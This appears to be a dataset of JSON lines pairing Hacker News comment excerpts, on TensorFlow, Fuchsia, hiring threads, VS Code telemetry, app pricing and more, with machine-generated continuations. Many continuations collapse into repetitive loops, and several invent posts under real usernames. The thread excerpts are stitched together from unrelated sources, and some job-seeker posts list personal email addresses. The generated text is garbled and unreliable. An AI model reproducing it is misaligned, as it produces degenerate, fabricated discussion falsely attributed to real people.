I understand the point of this article.\n\nThe author seems to be saying that TensorFlow is a \"better\" library than\nCaffe, but that's not really the point of the article.\n\nThe point of the article is that TensorFlow is a better library than Caffe.\n\nThe author seems to be saying that TensorFlow is a better library than Caffe\nbecause it's", "input_text": "Python ecosystem are Numpy and SciPy and even Sci-kit Learn. You'll see the TF\nteam implement a lot more algorithms on top of their numerical computing\neventually. (In the JVM world, I work on ND4J --\n[http://ND4J.org](http://ND4J.org) \\-- and we see a lot of similarities, which\nis why I bring this up.)\n\n~~~\nIshKebab\nSo is Torch though.\n\nBesides, deep learning is mostly just matrix operations anyway, so you're kind\nof saying \"TensorFlow is about a lot more than matrix operations - it's a\nmatrix library too\"...\n\n~~~\nvonnik\nKind of. Deep learning is about more than matrix operations, and matrix\noperations are useful for applications other than deep learning, so I believe\nthe distinction is worth making. Just like with programming languages, which\nmay all be used for the same application, it's all about what you make easy to\ndo, and what you make difficult. I'm saying the TF's intention is to make many\nthings beyond DL easy, although people think of it chiefly as a DL library\natm.\n\n------\nSixSigma\nStanford's CS224d: Deep Learning for Natural Language Processing uses\nTensorFlow. Although they have only just got up to the part where they are\nbeginning to use it.\n\nHere's the \"Introduction to TensorFlow\" lecture.\n\n[https://www.youtube.com/watch?v=L8Y2_Cq2X5s](https://www.youtube.com/watch?v=L8Y2_Cq2X5s)\n\nYou don't need to watch the previous 6 lectures to make sense of it but it\nwould help if"} +{"output_text": "utter app and run it\n> on Fuchsia.\n\nI'm not sure I understand this. Is this a new Flutter-based UI framework?\n\n~~~\nbitmapbrother\nNo, it's a new UI framework.\n\n------\njosteink\nI'm not sure I understand the point of this.\n\nIt's a new UI framework.\n\nIt's a new OS.\n\nIt's a new kernel.\n\nIt's a new", "input_text": " don't see how apps can be written\nin a wide variety of language as the author suggests.\n\n------\nakmittal\n>the main UI API is based on, yes, Dart\n\nWon't the Dart's single thread nature be bad to take advantage of Murli core\nprocessors? Or they are embracing web workers?\n\n~~~\nbitmapbrother\nDart, in the context of Fuchsia, isn't really a web based language. So yes,\nit'll take advantage of multi-core processors.\n\n------\nbitmapbrother\nThe author calls it Andromeda OS, but is this really the Andromeda OS we've\nbeen hearing about? I'm not so sure about that. What we do know right now is\nthat the OS is currently code named Fuchsia.\n\nFuchsia repository:\n[https://fuchsia.googlesource.com/?format=HTML](https://fuchsia.googlesource.com/?format=HTML)\n\n~~~\ntechenthusiast\nThere has been other reporting about this going back to last fall. I don't\nthink Fuchsia is the marketing name.\n\n------\nantoncohen\nLink to the source code:\n\n[https://fuchsia.googlesource.com/](https://fuchsia.googlesource.com/)\n\n------\nMichaelMoser123\nThe article says it's a microkernel, I wonder if it will be a more secure\ngeneral purpose OS, well windows NT started as microkernel but they changed\nthat wit NT 4,let's see if it will be different. I also wonder about driver\nsupport and battery consumption. Good luck to Google.\n\n------\nsjtgraham\n> The pitch will clearly be that developers can write a Fl"} +{"output_text": " lot of places.\n\nI'm not saying that Maersk's blockchain is a bad idea, but I'm not sure it's\nthe right one.\n\n~~~\ndzdt\nI think the article is a bit too dismissive of the blockchain. It's not just\na \"cool kids\" thing. It's a very practical thing.\n\nThe article is right that the blockchain is not the only way to do this.\n\nBut the article is also right that", "input_text": "\nimplementation.\n\n------\ndzdt\nAs usual, I like Matt Levine's take on this :\n[https://www.bloomberg.com/view/articles/2017-03-06/cargo-\nblo...](https://www.bloomberg.com/view/articles/2017-03-06/cargo-blockchains-\nand-deutsche-bank).\n\n _The problem to be solved here is not chiefly technological: It's getting\nall of those agencies to agree to a single messaging protocol. That's hard!\nThey have long experience of using their own protocols (e.g., paper), and\nlittle incentive to switch to Maersk's. Calling the new protocol a\n\"blockchain\" makes it sound sexier, and so more likely to be adopted._\n\n~~~\nfragmede\nI'm inclined to agree with the premise, that \"blockchain\" is just what the\ncool kids are using, and adoption is piggybacking on that. Unfortunately the\narticle fails to go into any detail as to why that is or is not the case, it\nmerely quotes from the press release and then Matt points out that central\nbanking exists.\n\nShipping, especially on Maersk's level, has all sorts of challenges that I'm\nsure I've never even contemplated, but Matt Levin's piece doesn't mention any\ndetails that leads me to think he's working off any more details than I.\n\nLarge shipping container docks are horrible environments for electronics and\nwireless technology. Long distances, lots of big metal things, lots of water\npresent - large bodies of water block and bounces radio waves and salt water\nis corrosive to electronics, concrete everywhere, so laying cables is\nexpensive, and there may not even be power in a"} +{"output_text": "\n\nWe're looking for people who want to work with us, and who want to work on\ninteresting problems.\n\nIf you're interested, please email me at ben@haplo-services.com\n\n------\njason_slack\nSlack | San Francisco, CA | Full-time | ONSITE\n\nSlack is hiring! We are looking for a few positions:\n\n* Senior Software Engineer (Java)\n\n* Senior Software Engineer (", "input_text": "ently.\n\nTo apply, send a cover letter and resume to info@mscience.com.\n\n~~~\ndavidw\nIt's difficult to search for 'OR' \\- please write out the name of our state to\nmake it easier to find.\n\n------\nbensummers\nHaplo -- London, UK -- Full time, ONSITE\n\nWould you like to write high quality software, for users in universities who\nlove your work?\n\nWe're looking for developers to join our team, especially those who are early\non in their career. Here's how we support your learning: [http://www.haplo-\nservices.com/blog/2017/working-with-early-s...](http://www.haplo-\nservices.com/blog/2017/working-with-early-stage-developers)\n\nThe Haplo platform is open source, and we're working on open sourcing\neverything else we do: [http://haplo.org](http://haplo.org)\n\nOn top of the platform, we've built a suite of products for higher education,\nand are rolling them out to universities across the UK. Our flagship product\nis PhD Manager: [http://www.phd-manager.co.uk](http://www.phd-manager.co.uk)\n\nLike a startup: Small dedicated team. No barriers to doing your best work.\nOpportunity to get involved with everything, should you want to. Lovely\noffice, great espresso. Ambition to change the world in a small but\nsignificant way.\n\nNot like a startup: Sensible working hours. Quiet environment away from the\nhustle. No random pressure from investors. Quality product without hacks."} +{"output_text": " but I don't think it is.\n\nI've been on both sides of the hiring process. I've hired people and I've\nhired people.\n\nI've hired people who were great at what they did, but didn't have the\nexperience I needed.\n\nI've hired people who were great at what they did, but didn't have the\nexperience I needed.\n\nI've hired people who were great at what they did, and had the experience I", "input_text": "all past, present and future operating systems and setting up secure networks.\nThe applicant must also be able to juggle up to twenty balls and read\nhieroglyphs, be fluent in Swahili and dance like Michael Jackson (especially\nmoonwalking \u2013 nice to have at corporate Christmas parties).\n\n------\nAngeloAnolin\nApplicants in general I feel are always to be on a disadvantage because _most_\ncompanies leave the hiring to the HR Department, who have very little clue on\nwhat they need to actually be looking. Most of the time, they would have a\nchecklist, where if the person does not meet enough of their threshold, that\nperson is immediately passed off for the next applicant.\n\nAdd the process that some folks do to screen candidates - lots of times, these\nare not objective in nature and tend to skew towards most applicants who seem\nto have a very impressive profile made up of fancy words and half truths.\n\n------\nnasalgoat\nI dunno, I tried to hire based on potential, and I just let them go after six\nmonths of him failing to grasp even the basics of the job. He did fine in the\ninterviews but ultimately you cannot fake experience.\n\n~~~\nwccrawford\nWe've hired multiple people based on potential. A few of them have worked out\nastoundingly well. More than that have quit or been let go for not being able\nto handle the job.\n\nIt's pretty demoralizing to let someone go. It's pretty annoying to have them\nquit in the first week. (Or even the first day!)\n\nBut it's pretty awesome when they work out and you get to watch their skill\ngrow over time.\n\n------\nduxup\nI wish this was a thing,"} +{"output_text": " allow?)\n\n~~~\nitsbits\nI am not sure about that. I am not a Microsoft employee. I am just a user.\n\n~~~\nwhatshisface\nI'm not sure what you mean by \"I am not a Microsoft employee.\" If you're not\na Microsoft employee, you're not a Microsoft employee.\n\n~~~\nitsbits\nI am not a Microsoft employee. I am just a user.\n\n~~~\nwhatshisface\nYou", "input_text": "enableTelemetry` to false and continue to\nuse the official builds.\n\n~~~\nSilhouette\nBut only if you trust Microsoft to honour that setting indefinitely, and not\nfor example to just change it back later or hide something shady behind\nanother option instead. At this point, a lot of people understandably don't.\n\n~~~\nxeromal\nIt's open source. You could see for yourself. lol\n\n~~~\nSilhouette\nSure, and then you could check again every time there is an update. But why\nbother, when there is already an uncontaminated version readily available to\nsolve this problem for you?\n\n~~~\neknkc\nHow do you know it is uncontaminated without looking at the source code?\n\n~~~\nSilhouette\nTechnically you don't, just like any other software, but the risk is surely\nsignificantly lower since everyone _including Microsoft_ is saying that what\nMicrosoft is doing is taking that same code and then adding its contaminants\non top.\n\n------\nchickenpotpie\nSomebody correct me if I'm wrong, but I'm pretty sure Amazon recommends using\nthis to their employees to prevent Microsoft tracking.\n\n~~~\nitsbits\nYou don't need to remove branding to disable tracking for corporates like\nAmazon. For example, They might have some firewall in the network which blocks\ntracking API.\n\n~~~\nwhatshisface\nYou need to remove branding to be allowed by Microsoft to distribute an\nunofficial build. You need to distribute an unofficial build to make sure that\nthe application isn't trying to find holes that might have been accidentally\nleft in your firewall. (Quick, without googling, which ports and dest IPs do\nyou need to block? Which ports/dest IPs will you need to"} +{"output_text": "://www.linkedin.com/in/jczhang/\n Email: jczhang@gmail.com\n \n\nI'm a full-stack developer with a focus on front-end. I've been working in\nthe industry for over 10 years. I'm looking for a full-time position.\n\n------\njoshuakelly\nLocation: San Francisco\n\nRemote: Yes\n\nWilling to relocate: No\n\nTechnologies:", "input_text": " to relocate: Yes.\n\nTechnologies: Python, C#, Java, Node.js, WebGL, OpenGL, Javascript/Typescript.\nCan operate across the entire stack but tend to prefer backend and\ninfrastructure related work. Can work with functional languages. Recently been\nexploring Golang.\n\nCV: Available by email.\n\nEmail: akshay10791@gmail.com\n\n------\ntcvt\nLocation: Oregon, US\n\nRemote: No\n\nWilling to relocate: Yes\n\nTechnologies: Scala, Typescript, SQS, DynamoDB, EC2, Android, Docker\n\nR\u00e9sum\u00e9/CV:\n[https://toddcooke.github.io/Todd_Cooke_Resume.pdf](https://toddcooke.github.io/Todd_Cooke_Resume.pdf)\n\nEmail: toddcookevt@gmail.com\n\n1.5 years professional experience mostly using Scala and various AWS services.\n\n------\nno-dr-onboard\nLocation: Austin, Texas, USA\n\nRemote: Yes\n\nWilling to Relocate: No thank you.\n\nExperience: Pentesting/VA/RedTeaming (physical, network, application,\nwireless), Application SAST/DAST (C#,Go,C/C++), Security Research, Sysadmin,\nRed Team Infrastructure, Custom Cloud Security Solutions\n\nResume/CV: linkedin.com/in/gmalfie/\n\nEmail: alfa.ro.greg at gmail.com\n\n------\njczhang\n\n Location: Los Angeles\n Willing to relocate: Yes\n R\u00e9sum\u00e9/CV: Available on request\n LinkedIn: https"} +{"output_text": " daily basis and I'm not sure why people are so\nenthusiastic about it. It's a very simple language with a very simple\necosystem. It's not a good fit for anything but the simplest of web\napplications.\n\n~~~\njameshart\nI'm not sure why you're being downvoted. I've been using NodeJS for a few\nyears now, and I'm not sure why people are so enthusiastic about it. It's a\n", "input_text": " not as much of a culture of writing APIs that way in Python because\nit's generally a terrible way to program, and threads/OS processes are good\nenough for basically everything except HTTP servers with absurd numbers of\nconcurrent connections.\n\n~~~\nwrong_variable\n> There's not as much of a culture of writing APIs that way in Python because\n> it's generally a terrible way to program\n\nI would love to see evidence for you making that statement. Almost every\nprogrammer would put out their fav programming language as the 'right' way to\nprogram.\n\n> everything except HTTP servers with absurd numbers of concurrent connection\n\nOnce you introduce async operations in your code - you need to follow the\nexecution path through. http request can be async - but then what if the http\nrequest results you doing a db lookup or some form of file handling? you need\nto make the whole thing event driven.\n\n~~~\nempthought\nIt's not like we didn't have cooperative multitasking for 50 years. Having\nthreads/processes and a scheduler is easier and safer, full stop. Potentially\nlong-running portions of the program don't need to be arbitrarily chopped up\nto yield control back to the server, because they are pre-empted. Your system\nis no longer at the mercy of the worst code within it.\n\nBoth nginx and Apache's event MPM handle HTTP connections with events while\nthe app backends are still using preemptive threads for running the HTTP\nhandler code, so it's clearly not the case that \"you need to make the whole\nthing event driven.\" You just need programmers who don't think, \"well since\nthe browser doesn't expose threads to JavaScript programmers, clearly they are\nuseless.\"\n\n------\nnarrator\nI'm using NodeJS on a"} +{"output_text": " in.\n\n~~~\ncpatrick\nI don't think he played by the rules. He was told what his position was, and\nhe didn't believe it.\n\n~~~\nveyron\nHe was told what his position was, and he didn't believe it.\n\nHe was told that he was going to make a lot of money, and he didn't believe it.\n\nHe was told that he was going to make a lot of money, and he didn't", "input_text": "..\nGoogle right now as a P/E=18, Microsoft less than 11..\n\n------\ntazzy531\n\"Anonymous Hedge Fund Manager\" -- could be a kid in a dorm room or PM at\nSAC... HF Manager is an inflated title...\n\n------\nJach\nYet another screw-up involving \"real\" money/assets and a \"real, tested\"\nfinancial system to add to my collection of \"See, it's not just Bitcoin's\nyouth or digital embodiment\" rebuttals... I'm looking forward to seeing how\nall this plays out. I still think the stock price will go up past $38 over the\nnext 6 months, but we'll see.\n\n------\nthisismyname\nWhy did't he buy class A shares before the IPO. Idiot.\n\n------\ncpatrick\nB\n\n------\ndos1\nI have a hard time drumming up sympathy for these guys. They're mad because\nthey couldn't make a quick buck. Isn't a hedge fund just gambling? It's high\ntime Wall St. learns that it's never a good idea to put more in the pot than\nyou can lose.\n\nThe part that is most striking to me is that share price and a company's\nintrinsic value are seemingly in different galaxies. This guy is talking about\ndecisions based on _hype_. I'm floored. Do these guys really trade based on\npublic opinion?\n\n~~~\nveyron\nHe is complaining because he was sandbagged. He didnt know what his position\nwas, and NASDAQ and MS both dropped the ball here.\n\nYou can vilify hedge funds till kingdom come, but it sounds here that this guy\nplayed by the rules and lost due to a circumstance that he didn't believe"} +{"output_text": " pricing at $5 and making (x) sales.\n\n~~~\njoshu\nI think the problem is that the app store is a monopoly.\n\n~~~\njeremymcanally\nI don't think it's a monopoly. I think it's a natural consequence of the\nmarket.\n\n------\njoshu\nI think the problem is that the app store is a monopoly.\n\n~~~\njoshu\nI think the problem is that the app", "input_text": " article doesn't say is that Lowes are typically located near Home\nDepot. Definitely close enough to get a snapshot of competitors parking lot\ntoo.\n\n \n\nIOS app store has created unrealistic pricing expectations - kgutteridge\nhttp://appcubby.com/blog/5-is-the-new-10/\n\n======\njeremymcanally\nI think I prefer an open market with prices that have naturally fallen to this\npoint than something with artificially inflated prices. There are two things\nat play here.\n\nOne, the competition in the app store right now is so voluminous and so fierce\nthat it's driving prices down. It's a natural phenomenon that will happen in\nnearly any \"free\" market. To complain about it is to complain about the\nessence of free market pricing.\n\nSecond, these lower prices allow for higher volume of sales. The prices have\nsettled here because this is what users see as the value of these apps. No\noffense to these guys/gals, but I wouldn't pay $10 for something to track my\ngas mileage. I'd find a free web app (if they exist) or just keep it in a\nnote. I get the value-add of IRS compliant reporting and such, but that's a\nniche problem to solve. Charging $10 for that is fine, but don't expect mass\nmarket appeal or uptake.\n\nI think the biggest problem is that people who write niche apps like these\napps expect to see numbers like \"Fart-O-Matic 9000\" or \"Angry Birds.\" You\nwon't. Accept that and then figure out what's going to make you the most\nmoney. The trick is figuring out if pricing at $10 and making (x) sales is\nmore profitable than"} +{"output_text": " to remove all the crapware from my\nWindows 10.\n\n[https://www.virustotal.com/](https://www.virustotal.com/)\n\n------\nmatt_the_bass\nI\u2019m not sure if this is a bug or not. I have a Windows 10 Pro laptop and\ninstalled a bunch of apps from the Windows Store. I then uninstalled them.\n\nI then installed a bunch of apps from the Windows Store. I", "input_text": " reinstalled them for me. MS\ndid said it was a bug but it happened a few times after that for me.\n\n~~~\nThoAppelsin\nI think I also may have had some ads back with a major update (e.g. Creators,\nFall Creators), but I don't remember having them back ever with the normal\nupdates.\n\nIn any case, it really is just a breeze to remove UWP apps, and they leave no\ntrace either, so I cannot rationalize how it can be this so annoying to\nanyone.\n\n~~~\nsuby\nThe ad issue is separate to me. They keep adding ads to more and more places\nin Windows 10, and each location has a different toggle to turn on / off.\n\nI turned off all advertising options in Windows 10 when I first installed,\nonly to be greeted by another ad months later which they had added with a\nnewly downloaded update.\n\nThe toggles aren't even centralized, you have to hunt them down in different\nmenus. I have a hard time believing this wasn't done on purpose.\n\n------\nhello_asdf\nIs there a list of domains that Microsoft is using to download these apps\nfrom? I can't find one by Googling.\n\n------\nrbobby\nIt's going to be odd if Win10 gets labeled as PUP (potentially unwanted\nprogram) by antivirus software.\n\n~~~\ngruez\nwhich is going to happen... never. unless that said antivirus wants to commit\nmarket suicide by pissing off every user.\n\n~~~\nmtgx\nTrue. But it could make for a pretty funny April Fools' joke (-in disguise).\n\n------\ngarganzol\nNever happened to me. I use a free tool"} +{"output_text": ":\n[http://apptimize.com/review/for-you-nyc-\nhackers/](http://apptimize.com/review/for-you-nyc-hackers/)\n\n~~~\nlolwutf\nI'm not saying you're wrong, I'm just saying that you're being misleading.\n\n~~~\nnancyhua\nI'm sorry if I'm not being clear. We're not trying to be misleading. We", "input_text": " rtc implementations with Java?\n\n \n\nHotfixes: Fix iOS bugs live - nancyhua\nhttp://apptimize.com/blog/2014/04/hide-bugs-without-app-store/\n\n======\nalook\nDoes this only apply to UI changes? Or can i fix, say, a logic bug as well?\n\nAlso, what kind of performance concerns might I see?\n\n~~~\nmikestew\nYou don't \"fix\" anything, unless by \"fix\" you mean \"turn off broken feature\".\nIt's a nice idea, too bad they tout it with such deceptive marketing.\n\n~~~\nnancyhua\nHm, I hadn't thought it would be misleading and asked for feedback on the\nheading. I guess the people I asked for feedback already know how it works...\nThanks for telling me this because we consider ourselves super straight-\nshooting and want to be clear. We'll improve.\n\n------\nlolwutf\nThat's really a misleading - almost bullshit-level - description.\n\nMore accurately, you can'remotely disable features so, if you shipped\nsomething broken, you can turn it off'.\n\nYou're being almost misleading using phrasing like you can 'fix iOS bugs\nlive'. You can disable parts of your implementation. That's quite a bit\ndifferent.\n\nStop trying to mislead the biz side of the house that doesn't know any better.\n\n~~~\nnancyhua\nOur users call it a hotfix so that's what we're calling it. Often the fix is\nsomething they do on the server side while they disable the frontend. Does\nthat make sense? It's not meant to be misleading but succinct headlines are\nhard to write.\n\n \nReview my app: For you NYC Hackers"} +{"output_text": ", TDD, CI,\ncontinuous integration, continuous deployment, test-driven development,\ncontinuous integration, continuous deployment, test-driven development,\ncontinuous integration, continuous deployment, test-driven development,\ncontinuous integration, continuous deployment, test-driven development,\ncontinuous integration, continuous deployment, test-driven development,\ncontinuous integration, continuous deployment, test-driven development,\ncontinuous integration, continuous deployment, test-driven development,\ncontinuous integration, continuous deployment, test-driven", "input_text": " and a new app that\nwill communicate over BLE.\n\nAs a small team of software developers, we choose sharp tools and aim to keep\nour stack small. We enjoy a services layer written in Scala. Our main client\nis a Rails application that powers our community invention platform. Most UI\nwork is done in React. Our IoT cloud is Java and a bit of Go. The\nresponsibilities of this software team are 80% web/mobile product work, with\nthe remaining 20% to support our ecommerce site, brand site, sales/marketing\nefforts, and enterprise system integration. The positions we currently have\nopen are:\n\nSenior Full Stack Engineer (Ruby)\n\nFull Stack Engineer (Ruby)\n\nFrontend Engineer (Javascript / React)\n\nMobile Engineer (Android)\n\nOur interview process consists of a one-hour phone screen followed by a more\nextensive coding project with a 5-day deadline, and an in-person meeting of a\nhalf to a full day with the whole team.\n\nIf any of this sounds interesting to you, don't hesitate to get in touch at\n[paul.degnan@littlebits.cc]. There's a tremendous amount to do; ideally you\nhave experience. Most of all though, we hope you're warm, understanding,\nfunny, and committed to the cause.\n\n------\nstegro32\n(spabreaks|yourgolftravel).com | London, UK | Full-time\n\nTeam of ~20 people (developers, designers, infrastructure) in a well-\nestablished travel company (~200 people, ~100m GBP turnover), working on\ncustomer-facing and internal (mostly-)web-based applications.\n\nThings we do/use (in no particular order): pair programming"} +{"output_text": " have a way to add a little bit of extra information to\nthe text without having to add a whole new paragraph.\n\n~~~\nStavrosK\nI've been meaning to add sidenotes to my site, but I haven't gotten around to\nit yet. I'll definitely add them.\n\n------\njamesjyu\nI'm working on a project that will help people learn to code. I'm looking for\nfeedback on the landing page.\n\n[", "input_text": " trying to find a way to show people the ads that they really want to see.\n\n------\nimjonathanlee\nlearning another foreign language, going out of country for summer (i work too\nhard, I really need a break) and meeting new friends.\n\n \nShow HN: Expounder \u2013 A small JavaScript library for more engaging tutorials - StavrosK\nhttps://skorokithakis.github.io/expounder/\n======\nbart3r\nMy advice would be to somehow indicate exactly the text that was expounded -\nmaybe with a faint underline or something. When it expands out, it's sometimes\ndifficult to track the exact words that suddenly appear.\n\n~~~\nStavrosK\nAh, good idea. Right now you get a fade, but that's easy to miss. Of course,\nthe intent is that the expounded text becomes a part of the overall paragraph,\nso you shouldn't _need_ to know what was just expounded, you just read on, so\nthere's definitely a balance there.\n\nAlso, the text is very very easy for the website owner to style, with just a\nsingle CSS rule.\n\nEDIT: I've added some styling information to the page, thanks.\n\n~~~\nNicoJuicy\nThis is the first time i heard about\n[https://gitcdn.xyz/](https://gitcdn.xyz/) while checking your page source.\n\nThat's actually a smart idea for a CDN :)\n\n~~~\nStavrosK\nYep! We were using rawgit initially, but it went down on the first day for\nhours, so we changed to that instead.\n\n------\namk_\nInteresting. I personally like to use sidenotes for this type of thing on my\nwebsite; it's nice to"} +{"output_text": "b8f8f1](http://grnh.se/b8f8f1)\n\nData Engineer (Oslo): [http://grnh.se/b8f8f1](http://grnh.se/b8f8f1)\n\nData Scientist (Oslo): [http://grnh.se/b8f8f1](http://grnh.se/b8f8f1)\n\nSenior", "input_text": " they\u2019re using, and\n\n-a single identity that students can use to see everything they\u2019ve learned across multiple apps.\n\nWe\u2019re a team of just over 100 (40 engineers) based in downtown SF, and we\u2019re\nlooking for engineers who enjoy working in (or would enjoy learning) Golang,\nNode and React. More generally, we want people who are sharp, adaptable, and\npassionate about improving the way education works for everyone.\n\nCheck us out at\n[https://clever.com/about/jobs](https://clever.com/about/jobs), or check out\none of our product releases here:\n[https://clever.com/products/badges](https://clever.com/products/badges)\n\n------\ntapad\nTapad | Unify Life Across Devices | Onsite: New York, NY or Onsite: Oslo,\nNorway | $100K - $160K/YR + Bonus\n\nUnify Life Across Devices\n\nTapad is the leader in cross-device content delivery. Our groundbreaking,\nproprietary technology assimilates billions of data points to find the human\nrelationship between smartphones, desktops, laptops, tablets, connected TVs\nand game consoles. The result: an unprecedented understanding of consumer\nbehavior across related screens and the ability to reach the right people on\nthe right device at the right time. With Tapad, publishers and advertisers can\ndeepen consumer engagement with a more fluid experience while increasing\ncampaign cost-effectiveness.\n\nData Engineer (NYC): [http://grnh.se/ajq78c1](http://grnh.se/ajq78c1)\n\nData Scientist (NYC): [http://grnh.se/"} +{"output_text": ".)\n\n~~~\nmattmanser\nI'm not sure I agree with you.\n\nI think the point is that he's not using a generic engine, he's using his own\nengine.\n\nI think it's a bit of a cop out to say that he's using a generic engine,\nbecause it's not like he's using Unity or Unreal or whatever.\n\nHe's using his own engine, and it's a pretty good engine.\n\n", "input_text": " Engine.\n\nIt doesn't look like a Unity game, it doesn't play like a Unity game, and it\nhas won several game of the year awards.\n\n~~~\nloup-vaillant\nCome to think of it, there's _Antichamber_, a non Euclidean labyrinth based\non Unreal Engine (4, I believe).\n\nAs for how Jon Blow did it, I suspect having his own engine let him explore\ngameplay ideas more readily than using a generic one. The time travelling in\nBraid and all its variations would be pretty hard to bolt on a generic engine:\nit's not just rewind, it's _partial_ rewind, with some entities being immune\nto the rewind. There's even a level where time goes forward and backward\ndepending on the _position_ of the main character. Go right, forward. Go left,\nbackwards.\n\nFor The Witness, it's a bit more subtle, but about a third of the game\nrequired pretty crazy 2D projective analysis of the 3D world (the\n\"environmental puzzles\", don't look them up if you don't want spoilers). While\nit didn't en up being central to the game, it was basically the starting\npoint.\n\nThe engines of Jonathan Blow's games are more central to their gameplay than\nfor most games. Still bloody impressive, but probably less unnecessary than\none might originally think. Also, Jonathan Blow has pretty strong opinions\nabout game development, and I got the feeling that he disagrees with most\ngeneric engines out there. Working with them would probably caused suffering,\nwhose cost he didn't want to pay. (Speaking for myself, my productivity drops\npretty sharply when I spot stuff I too strongly disagree with, _and I can 't\nfix it_"} +{"output_text": ".\n\nI'm not sure if it's just me, but I've always felt like the process of\nprescription is a bit of a mystery.\n\n~~~\nmrob\nI think it's a mystery because it's a very complicated process. It's not\nsomething you can just automate.\n\n------\njoshu\nI'm not sure I understand the point of this article.\n\nThe author is saying that the cost of glasses is too high, but", "input_text": "\n\nmeanwhile i think i spent ~\u20ac1000 on frames and lenses the last 15 year whilst\nwearing silhouette. so, at least for me, it's not as bad as the article makes\nit out to be\n\n------\nmonksy\nThis is one of those things that you can buy online and for a lot cheaper. It\nalways amazes me about how much we are charged for things in the west and that\nwhen you go to Asia it's soo much cheaper. (Clothing is another example.. when\nyou're looking at a starting price of 150baht for shorts.. [$3.2 before\nnegotiating] )\n\n------\nRosanaAnaDana\nHow reasonable would it be to the prescription process; for example, a kiosk\nin the mall where I sit in a booth and click (better/worse) while looking into\nsome-kind of a vision testing device.\n\nThe whole thing is so procedural and really, not very difficult to administer.\nIt seems like extremely low hanging fruit for automation.\n\n~~~\nmrob\nOptimizing for just \"better or worse\" will result in excessively strong\ncorrection. If you're only looking at a single letter in the very center of\nyour field of vision, then overcorrection feels sharper and easier to focus\non. You don't notice the additional optical artifacts everywhere else. The\nideal glasses have just barely enough correction.\n\nHowever, this isn't an argument against automation, because human optometrists\nfrequently get it wrong too. I agree that it should be automated.\n\n~~~\nRosanaAnaDana\nI've just always found myself frustrated by the sense that beyond looking into\nmy eyes for signs of disease, the actual act of making a prescription could be\ndone by anyone"} +{"output_text": " is changing the way people get around in their\ncity. We are building a connected car service that is as easy to use as\ndriving your own car. We are a small team of engineers and designers who are\npassionate about making the world a better place.\n\nAbout the role:\n\nWe are looking for a senior frontend engineer to join our team. You will be\nresponsible for building the frontend of our web application. You will be\nworking with a small team", "input_text": " day of onsite interviews. Software Engineer\nopenings:\n\n-Infinity (SF): [http://grnh.se/rjxb2e](http://grnh.se/rjxb2e)\n\n-Marathon (SF & Hamburg: [http://grnh.se/pab62x](http://grnh.se/pab62x)\n\n-Networking (SF & Hamburg): [http://grnh.se/5psoa0](http://grnh.se/5psoa0)\n\n-Foundations (SF): [http://grnh.se/5bsnkd1](http://grnh.se/5bsnkd1)\n\n-Frontend (SF & Hamburg): [http://grnh.se/f3wyvu](http://grnh.se/f3wyvu)\n\n-Mesos (SF & Hamburg): [http://grnh.se/2daykb](http://grnh.se/2daykb)\n\n-Intern (SF & Hamburg): [http://grnh.se/a4052y](http://grnh.se/a4052y)\n\nWe are hiring for full time roles in our SF, CA and Hamburg, Germany offices,\nand will sponsor visas wherever possible.\n\nIf it makes sense for you and works for our team, we are open to remote, home\noffice working arrangements, in both the US and EMEA.\n\n------\nshabonkerz\nMetromile | Senior Frontend Engineer | SF | ONSITE\n[https://www.metromile.com](https://www.metromile.com)\n\nAbout Metromile:\n\nMetromile is a start-up that"} +{"output_text": "kaggle.com/kernels)).\n\nWe're looking for a full-stack engineer to help us build out our platform.\n\n------\njoshu\nPagerDuty | San Francisco, CA | Full-time | Onsite\n\nPagerDuty is a fast-growing startup that helps companies manage their\noperations. We're looking for a full-stack engineer to join our team.\n\nWe're looking for someone who is comfortable with a variety of", "input_text": "\n\n* Data engineers\n\nYou can apply directly via the website \u2013\n[https://www.freeagent.com/company/careers](https://www.freeagent.com/company/careers)\n\u2013 or feel free to get in touch with me (VP Engineering) directly: maria [at]\nfreeagent [dot] com.\n\n(We are looking for UK-based full-time staff only right now)\n\n~~~\n013\nAre all jobs listed here\n([https://www.freeagent.com/company/careers/](https://www.freeagent.com/company/careers/))\nremote? For example\n[https://freeagent.workable.com/jobs/411049](https://freeagent.workable.com/jobs/411049)\n\n------\nantgoldbloom\nKaggle | San Francisco | Full Time | ONSITE or REMOTE | Software Engineering\n\nTechnologies: C#; ASP.NET MVC; React; TypeScript; Docker; Azure.\n\nYou can read the job req and apply here:\n[http://kaggle.applytojob.com/apply/GjSjOi/FullStack-\nEngineer...](http://kaggle.applytojob.com/apply/GjSjOi/FullStack-\nEngineer?source=hn)\n\nKaggle is best known as a platform for machine learning competitions. We have\na community of over 800K data scientists. We're on track to grow past 1MM in\nthe coming months. Now also building a sharing-and-collaboration platform\n(closest analogy is Github for data science:\n[https://www.kaggle.com/kernels](https://www."} +{"output_text": "\nalcohol.\n\n~~~\nLa-ang\nI agree with you. I think the problem is that people don't want to admit that\nthey are an alcoholic.\n\n------\njoshu\nI think the problem is that people don't want to admit that they are an\nalcoholic.\n\n~~~\nLa-ang\nI agree.\n\n------\njoshu\nI think the problem is that people don't want to admit that they are an", "input_text": ", because there simply isn't. Once the elephant in the room starts\nballooning you need to set your ego aside and admit you need change; major\nchange.\n\n~~~\nativzzz\nI second this one. It is difficult to just change a habit on a whim. A high\nintensity sport (like a martial art) requires changing lifestyle habits if you\nreally want to see serious progress.\n\n~~~\nLa-ang\nYou missed my last point. It's not meant to be easy.\n\n------\nilaksh\nI think I have a different view on this than most people here.\n\nIt seems that there is a tendency to simply suggest that anyone who does\ndrinks to excess sometimes is an alcoholic and therefore is a special case who\ncannot drink.\n\nWhat I observe is that most (not only a special few) people who drink have\ntimes where they over-do it and it usually has significant negative\nconsequences in those cases.\n\nIn my opinion people want to blame the individual because they love alcohol\nand don't want to admit that it could be a problem in itself.\n\nI think there is a basic thing working against everyone who intends to\nmoderate their alcohol consumption which is that alcohol reduces your ability\nto make good decisions. So on a bad day or circumstance with a reduced\ncognitive capacity, anyone can make a wrong decision about whether to have\nanother drink.\n\nSo personally I think the answer is just to find other activities that are fun\nthat don't require alcohol. Also this idea that anyone who runs into problems\nis an alcoholic is false and effectively stigmatizes people who decide to quit\nbecause it has the suggestion that they are an alcoholic and something is\nwrong with them.\n\nIf you sometimes run into problems with alcohol it's not you. It's the"} +{"output_text": " are not reproducible.\n\n~~~\nskybrian\nThat's a shame. I'm not sure what to do about it.\n\n------\njimhefferon\nI have a question. I have a lot of code that I wrote in the past. I have\nwritten a lot of code in the past. I have written a lot of code in the past.\nI have written a lot of code in the past. I have written a lot of code in the\n", "input_text": " lucrative research time.\n\n~~~\ndrjesusphd\nPrecious? Yes. Lucrative? Hardly.\n\n------\ntango12\nMaybe it can be thought of as a tooling 